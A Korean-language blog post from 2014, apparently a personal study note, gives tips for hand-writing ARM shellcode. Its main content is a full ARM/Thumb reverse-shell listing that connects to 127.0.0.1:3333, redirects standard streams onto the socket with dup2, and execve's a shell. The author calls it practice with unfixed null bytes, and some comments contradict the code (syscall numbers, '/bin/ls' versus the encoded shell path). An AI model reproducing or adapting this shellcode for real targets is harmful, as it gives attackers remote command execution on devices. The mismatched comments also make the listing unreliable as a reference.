2014. 10. 24. 10:06

ARM 어셈블리 코딩하는데 생각한 노하우


---------------------------------------------------------------------------------

1. 일단 C 로 원형을 짠다.  =  write(1,"/bin/sh\x00",8);

2. 인자값 타입과 갯수를 아래에 정리한다. ( 포인터 값이 있는지 확인 )

   int write( int fd, void * buff, size_t t  )

3. system call number 확인한다  write == 4

4. designing 하기 return r0 _ r7( r0, r1, r2 ) 

5. 워드값 구성 작성

   1byte = .byte , 2byte = .short,  4byte =.word 닥치는 대로 하나의 함수 맨 아래쪽에 쓰면됨.

6. 인자값을 구성해야함 숫자 값은 최대 255까지 이고, 더 큰값은 add 로 더해서 맞춰 줘야함. 

    ( 권한은 8진수임 0777 일 경우 255+255+1 임 ) 

7. 인자값이 주소값으로 리턴되는 부분은 아닌지 판단하고 주소값으로 넘어가는 부분일 시

   sp + 4 ( 다음주소에) 한번 str 시키고, 그 sp +4 를 다시  add 를 통해 가져옴.  

   (ldr 은 값을 가져오기때문에 안됨 )

8. (objdump 로 떠본 후 ) sub inst, inst, inst 로 널값 제거

   (string 관련널은 +1 을 해준뒤 -1 을 해주는 방식으로 구현 

9. string 이 들어가는 인자값을 PC 카운터를 더하고 갯수를 세어 string 값을 가르키게함. 

 (사이에있는 인스트럭션 갯수를 더해준다는 생각으으로 하면 좋음  thumb*2 ARM*4 byte )

11. 컴파일. 

----------------------------------------------------------------------------------

// ARM reverse shellcode practice 

//     IP : 127.0.0.1    PORT 3333 

//     .word 0x050d0002 .word 0x0100007f

// 아직 string 으로 인한 널값을 제거하지 못함.

//



.global _start


#char *sh[2] = {"/bin/sh", NULL};


#int main()

#       sock = socket(PF_INET, SOCK_STREAM, 0);

#        serv_addr.sin_family = AF_INET;

#        serv_addr.sin_addr.s_addr = inet_addr(IP);

#        serv_addr.sin_port = htons(PORT);


        _start :

                .code 32


                        add r3, pc ,#1

                        bx      r3


                .code 16



# socket -- system call is 281

# socket(2,1,0 )

# r0=sock       r7=281   ( r0=2, r1=1, r2=0 )


                        mov r7, #255

                        add r7, #26

                        mov r0, #2

                        mov r1, #1

                        sub r2,r2,r2

                        svc 1


# connect -- system call is 283

# r0    =       r7 = 283        ( r0 = sock(return value) , r1 = &server_addr , r2 = 16 )

# server_addr.sin_family = AF_INET

# server ???                PORT   02(?)     1.0.0.127

# 0xa010 <serv_addr>:     0x050d00 02      0x0100007f

                        mov r8, r0

                        mov r7, #255

                        add r7, #28

                        mov r1, pc

                        add r1, #4

                        mov r2, #16

                        svc 1

                        .word 0x050d0002

                        .word 0x0100007f


# dump2 -- system call is 63

# dup2(sock,0);

# dup2(sock,1);

# dup2(sock,2);

#

# r0 -> sock structure

# r6 = r0

# r0    r7=64   ( r0 = r6, r1 = 0 );

# r0    r7=64   ( r0 = r6, r1 = 1 );

# r0    r7=64   ( r0 = r6, r1 = 2 );

                        mov r7 , #64

                        mov r0, r8

                        sub r1, r1, r1

                        mov r1, #0

                        svc 1

# r8= 4

                        mov r7, #64

                        mov r0, r8

                        mov r1, #1

                        svc 1

# r8=4

                        mov r7, #64

                        mov r0, r8

                        mov r1, #2

                        svc 1



# execve -- system call is 11

# char * buff[] = {"/bin/ls\x00",NULL};

# execve(buff[0],buff, 0);

# r0 r7 = 11 ( r0 = buff, r1= &buff, r2 = 0 )

# .word nib/

# .word sl/



                        mov r7 ,#11

                        sub r2, r2, r2

                        mov r0, pc

                        add r0, #10

                        str r0, [sp,#4]

                        sub r4, r4, r4

                        str r4, [sp,#8]

                        add r1, sp, #4

                        svc 1

                        .byte 0x2f

                        .short 0x7973

                        .word 0x6d657473

                        .word 0x6e69622f

                        .word 0x0068732f


# close -- system call is 6

# close(sock) sock = r6

# r0    r7 = 6  ( r0 = r6(sock) )


                        mov r7, #6

                        mov r0, r8

                        svc 1




Posted by k1rha